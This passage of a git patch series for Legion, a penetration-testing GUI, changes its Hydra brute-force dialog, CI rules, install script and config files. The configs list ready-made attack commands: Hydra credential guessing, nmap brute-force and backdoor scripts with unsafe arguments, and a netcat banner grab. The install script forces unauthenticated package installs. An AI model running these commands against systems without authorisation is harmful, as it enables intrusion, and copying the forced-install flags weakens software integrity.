= QtWidgets.QLabel() self.label2.setText('Port') - #self.label2.setFixedWidth(10) # experimental self.label2.setAlignment(Qt.AlignLeft) self.label2.setAlignment(Qt.AlignVCenter) self.portTextinput = QtWidgets.QLineEdit() @@ -74,7 +72,6 @@ def setupLayoutHlayout(self): self.label3 = QtWidgets.QLabel() self.label3.setText('Service') - #self.label3.setFixedWidth(10) # experimental self.label3.setAlignment(Qt.AlignLeft) self.label3.setAlignment(Qt.AlignVCenter) self.serviceComboBox = QtWidgets.QComboBox() @@ -305,11 +302,11 @@ def wordlistDialog(self, title='Choose username list'): if title == 'Choose username list': filename = QtWidgets.QFileDialog.getOpenFileName(self, title, self.settings.brute_username_wordlist_path) - self.userlistTextinput.setText(str(filename)) + self.userlistTextinput.setText(str(filename[0])) self.userListRadio.toggle() else: filename = QtWidgets.QFileDialog.getOpenFileName(self, title, self.settings.brute_password_wordlist_path) - self.passlistTextinput.setText(str(filename)) + self.passlistTextinput.setText(str(filename[0])) self.passListRadio.toggle() def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): @@ -317,37 +314,27 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.ip = self.ipTextinput.text() self.port = self.portTextinput.text() self.service = str(self.serviceComboBox.currentText()) - self.command = "hydra "+self.ip+" -s "+self.port+" -o " - self.outputfile = runningfolder+"/hydra/"+getTimestamp()+"-"+self.ip+"-"+self.port+"-"+self.service+".txt" - self.command += "\""+self.outputfile+"\"" # deal with paths with spaces + self.command = "hydra " + str(self.ip) + " -s " + self.port + " -o " + self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" + self.command += "\"" + self.outputfile + "\"" - #self.service = str(self.serviceComboBox.currentText()) - - #if not self.service == "snmp": # no username required for snmp if not self.service in self.settings.brute_no_username_services.split(","): if self.singleUserRadio.isChecked(): - self.command += " -l "+self.usersTextinput.text() + self.command += " -l " + self.usersTextinput.text() elif self.foundUsersRadio.isChecked(): - self.command += " -L \""+userlistPath+"\"" + self.command += " -L \"" + userlistPath+"\"" else: - self.command += " -L \""+self.userlistTextinput.text()+"\"" + self.command += " -L \"" + self.userlistTextinput.text()+"\"" - #if not self.service == "smtp-enum": # no password required for smtp-enum if not self.service in self.settings.brute_no_password_services.split(","): if self.singlePassRadio.isChecked(): - - - #print self.passwordsTextinput.text() - #escaped_password = self.passwordsTextinput.text().replace('"', '\"') - escaped_password = self.passwordsTextinput.text().replace('"', '\"\"\"')#.replace("'", "\'") - #print escaped_password - self.command += " -p \""+escaped_password+"\"" - #self.command += " -p "+self.passwordsTextinput.text() + escaped_password = self.passwordsTextinput.text().replace('"', '\"\"\"') + self.command += " -p \"" + escaped_password + "\"" elif self.foundPasswordsRadio.isChecked(): - self.command += " -P \""+passlistPath+"\"" + self.command += " -P \"" + passlistPath + "\"" else: - self.command += " -P \""+self.passlistTextinput.text()+"\"" + self.command += " -P \"" + self.passlistTextinput.text() + "\"" if self.checkBlankPass.isChecked(): self.command += " -e n" @@ -366,9 +353,9 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): if self.checkVerbose.isChecked(): self.command += " -V" - self.command += " -t "+str(self.threadsComboBox.currentText()) + self.command += " -t " + str(self.threadsComboBox.currentText()) - self.command += " "+self.service + self.command += " " + self.service # if self.labelPath.isVisible(): # append the additional field's content, if it was visible if self.checkAddMoreOptions.isChecked(): From 755d7625680fc62fd8e41eda7387ac6adc167364 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 13 Jun 2019 01:23:09 -0500 Subject: [PATCH 266/450] Revise travis rules to avoid docker cache use --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index dbc09e9f..f4ba0b4e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -23,6 +23,6 @@ after_success: - cd ./docker/ - docker login -u $DOCKER_USER -p $DOCKER_PASS - export REPO=gvit/legion - - docker build -f Dockerfile -t $REPO:$COMMIT . + - docker build -f Dockerfile -t $REPO:$COMMIT . --no-cache - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER - docker push gvit/legion From c76f5ed94471776f9cddc6c4e17a0bf548c96d09 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 13 Jun 2019 02:06:10 -0500 Subject: [PATCH 267/450] Revise travis rules to only push docker image from master build --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index f4ba0b4e..22ed3445 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,4 +25,4 @@ after_success: - export REPO=gvit/legion - docker build -f Dockerfile -t $REPO:$COMMIT . --no-cache - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER - - docker push gvit/legion + - test $TRAVIS_BRANCH = "master" && docker push gvit/legion From 4dce5eb0d9968cb26cf07e978dfc93e823db48c8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 13 Jun 2019 02:11:40 -0500 Subject: [PATCH 268/450] Revise travis rules to push master to latest and development to development --- .travis.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 22ed3445..a5d7ca38 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,4 +25,7 @@ after_success: - export REPO=gvit/legion - docker build -f Dockerfile -t $REPO:$COMMIT . --no-cache - docker tag $REPO:$COMMIT $REPO:travis-$TRAVIS_BUILD_NUMBER - - test $TRAVIS_BRANCH = "master" && docker push gvit/legion + - test $TRAVIS_BRANCH = "master" && docker tag $REPO:$COMMIT $REPO:latest + - test $TRAVIS_BRANCH = "master" && docker push gvit/legion:latest + - test $TRAVIS_BRANCH = "development" && docker tag $REPO:$COMMIT $REPO:development + - test $TRAVIS_BRANCH = "development" && docker push gvit/legion:development From e8dc50cdafe11b51534da68c2c1d76f2e92faf47 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 13 Jun 2019 10:54:27 -0400 Subject: [PATCH 269/450] Fixing potential AttributeError --- ui/view.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/view.py b/ui/view.py index 4d7a877c..d993bbb3 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1547,13 +1547,13 @@ def bruteProcessFinished(self, bWidget): def findFinishedBruteTab(self, pid): for i in range(0, self.ui.BruteTabWidget.count()): - if str(self.ui.BruteTabWidget.widget(i).pid) == pid: + if str(self.ui.BruteTabWidget.widget(i)) == pid: self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) return def findFinishedServiceTab(self, pid): for i in range(0, self.ui.ServicesTabWidget.count()): - if str(self.ui.ServicesTabWidget.widget(i).pid) == pid: + if str(self.ui.ServicesTabWidget.widget(i)) == pid: #self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) print("Close Tab: {0}".format(str(i))) return From ceaed76b8a3a4a690274b4a52521651078ff5c12 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 13 Jun 2019 13:25:58 -0400 Subject: [PATCH 270/450] Added back all Hydra functions --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index 50906b58..165aebea 100644 --- a/legion.conf +++ b/legion.conf @@ -4,7 +4,7 @@ default-username=root no-password-services="oracle-sid,rsh,smtp-enum" no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ From 12fa653a1795327c3988aee503498cb845b3d210 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 13 Jun 2019 15:48:37 -0400 Subject: [PATCH 271/450] Added dialogue for Hydra usage --- ui/dialogs.py | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 05853486..6482563f 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -77,6 +77,7 @@ def setupLayoutHlayout(self): self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.serviceComboBox.currentIndexChanged.connect(self.checkSelectedService) # autoselect service from combo box for i in range(len(self.settings.brute_services.split(","))): @@ -142,6 +143,12 @@ def setupLayoutHlayout2(self): self.userGroup.addButton(self.foundUsersRadio) self.foundUsersRadio.toggle() + self.warningLabel = QtWidgets.QLabel() + self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra documentation for extra help when targeting HTTP/HTTPS forms.') + self.warningLabel.setWordWrap(True) + self.warningLabel.setAlignment(Qt.AlignRight) + self.warningLabel.setStyleSheet('QLabel { color: red }') + self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.singleUserRadio) self.hlayout2.addWidget(self.label4) @@ -152,10 +159,19 @@ def setupLayoutHlayout2(self): self.hlayout2.addWidget(self.browseUsersButton) self.hlayout2.addWidget(self.foundUsersRadio) self.hlayout2.addWidget(self.label9) + self.hlayout2.addWidget(self.warningLabel) + self.warningLabel.hide() self.hlayout2.addStretch() return self.hlayout2 + def checkSelectedService(self): + self.service = str(self.serviceComboBox.currentText()) + if 'form' in str(self.service): + self.warningLabel.show() + #else: This clause would produce an interesting logic error and crash + #self.warningLabel.hide() + def setupLayoutHlayout3(self): #add usernames wordlist self.singlePassRadio = QtWidgets.QRadioButton() @@ -257,7 +273,7 @@ def setupLayout(self): ### self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force self.labelPath.setFixedWidth(800) - self.labelPath.setText('/') + self.labelPath.setText('-m "/login/login.html:username=^USER^&password=^PASS^&Login=Login:failed"') ### self.layoutAddOptions = QtWidgets.QHBoxLayout() @@ -317,6 +333,9 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.command = "hydra " + str(self.ip) + " -s " + self.port + " -o " self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" self.command += "\"" + self.outputfile + "\"" + + if 'form' not in str(self.service): + self.warningLabel.hide() if not self.service in self.settings.brute_no_username_services.split(","): if self.singleUserRadio.isChecked(): From bbd6e5a9f807486199e119e5611597d0b9ea36b9 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 14 Jun 2019 11:09:00 -0400 Subject: [PATCH 272/450] Added theharvester --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 445875e3..09891fad 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,7 +9,7 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap theharvester wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti From d8affa0af455c8bbe9dc67641bcc426c54487e14 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 14 Jun 2019 11:09:48 -0400 Subject: [PATCH 273/450] Added theharvester --- legion.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/legion.conf b/legion.conf index 165aebea..e6fd142e 100644 --- a/legion.conf +++ b/legion.conf @@ -273,6 +273,7 @@ snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +theharvester=Run theharvester, "theharvester -d [IP]:[PORT] -b all -n -c -t -h", dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" From c4b21be03d3d060ce0bcff729fddedd0d0fa7573 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 28 Jun 2019 17:54:54 -0400 Subject: [PATCH 274/450] Enabled host multi selection --- ui/view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index d993bbb3..e5802847 100644 --- a/ui/view.py +++ b/ui/view.py @@ -66,7 +66,7 @@ def startOnce(self): self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) - self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection + self.ui.HostsTableView.setSelectionMode(3) self.ui.ServiceNamesTableView.setSelectionMode(1) self.ui.CvesTableView.setSelectionMode(1) self.ui.ToolsTableView.setSelectionMode(1) From bc184e92b0fc9d1149922f039efce92cd3e33ebe Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 1 Jul 2019 14:03:49 -0400 Subject: [PATCH 275/450] Addressing cognitive complexity --- parsers/Host.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/parsers/Host.py b/parsers/Host.py index 145e7039..350775bd 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -108,11 +108,10 @@ def getService( self, protocol, port ): '''return a Service object''' for portNode in self.hostNode.getElementsByTagName('port'): - if portNode.getAttribute('protocol') == protocol and portNode.getAttribute('portid') == port: - if (len(portNode.getElementsByTagName('service'))) > 0: - service_node = portNode.getElementsByTagName('service')[0] - service = Service.Service( service_node ) - return service + if portNode.getAttribute('protocol') == protocol and portNode.getAttribute('portid') == port and len(portNode.getElementsByTagName('service')) > 0: + service_node = portNode.getElementsByTagName('service')[0] + service = Service.Service( service_node ) + return service return None if __name__ == '__main__': From 7e33c3de041521ec82e7cc5a89c346cbac7a2839 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 10 Jul 2019 18:25:49 -0400 Subject: [PATCH 276/450] Attribute error in findFinishedServiceTab function --- ui/view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index e5802847..588f36db 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1553,7 +1553,7 @@ def findFinishedBruteTab(self, pid): def findFinishedServiceTab(self, pid): for i in range(0, self.ui.ServicesTabWidget.count()): - if str(self.ui.ServicesTabWidget.widget(i)) == pid: + if self.ui.ServicesTabWidget.widget(i) == pid: #self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) print("Close Tab: {0}".format(str(i))) return From b087f790a7f4e5f3349501d93e748beea5cd56d4 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 11 Jul 2019 11:55:03 -0400 Subject: [PATCH 277/450] Fixed typo --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index e6fd142e..82f1f3ff 100644 --- a/legion.conf +++ b/legion.conf @@ -30,7 +30,7 @@ nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [I nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-CrashMe=Run CrashMe python scripy, python3 ./scripts/python/dummy.py +python-script-CrashMe=Run CrashMe python script, python3 ./scripts/python/dummy.py nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v From dd01a373f7545f7de6b15bba612cf589abfc1a30 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 7 Aug 2019 14:10:48 -0500 Subject: [PATCH 278/450] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f48f88a9..ece030b8 100644 --- a/README.md +++ b/README.md @@ -149,8 +149,8 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: - Open the distribution, let it bootstrap and fill in the user creation details - To install docker components typically needed and add setup the environment for docker redirection, under the WSL window, run: ``` - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ - $(lsb_release -cs) stable" + curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - + sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" sudo apt-get update sudo apt-get install -y docker-ce python-pip -y sudo apt autoremove From 5607b06e92ffe1daedd8a647858abbe1d1e34ffa Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 7 Aug 2019 15:59:05 -0500 Subject: [PATCH 279/450] Regression fixed --- controller/controller.py | 4 +- legion-dev.conf | 325 +++++++++++++++++++++++++++++++++++++++ legion.conf | 24 +-- ui/view.py | 8 +- 4 files changed, 343 insertions(+), 18 deletions(-) create mode 100644 legion-dev.conf diff --git a/controller/controller.py b/controller/controller.py index c79c3da1..dff4d562 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1560405090' + self.build = '1565211481' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '06/13/2019' + self.update = '08/07/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/legion-dev.conf b/legion-dev.conf new file mode 100644 index 00000000..1483a534 --- /dev/null +++ b/legion-dev.conf @@ -0,0 +1,325 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,491,100" +process-tab-detail=false + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-CrashMe=Run CrashMe python scripy, python3 ./scripts/python/dummy.py +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" 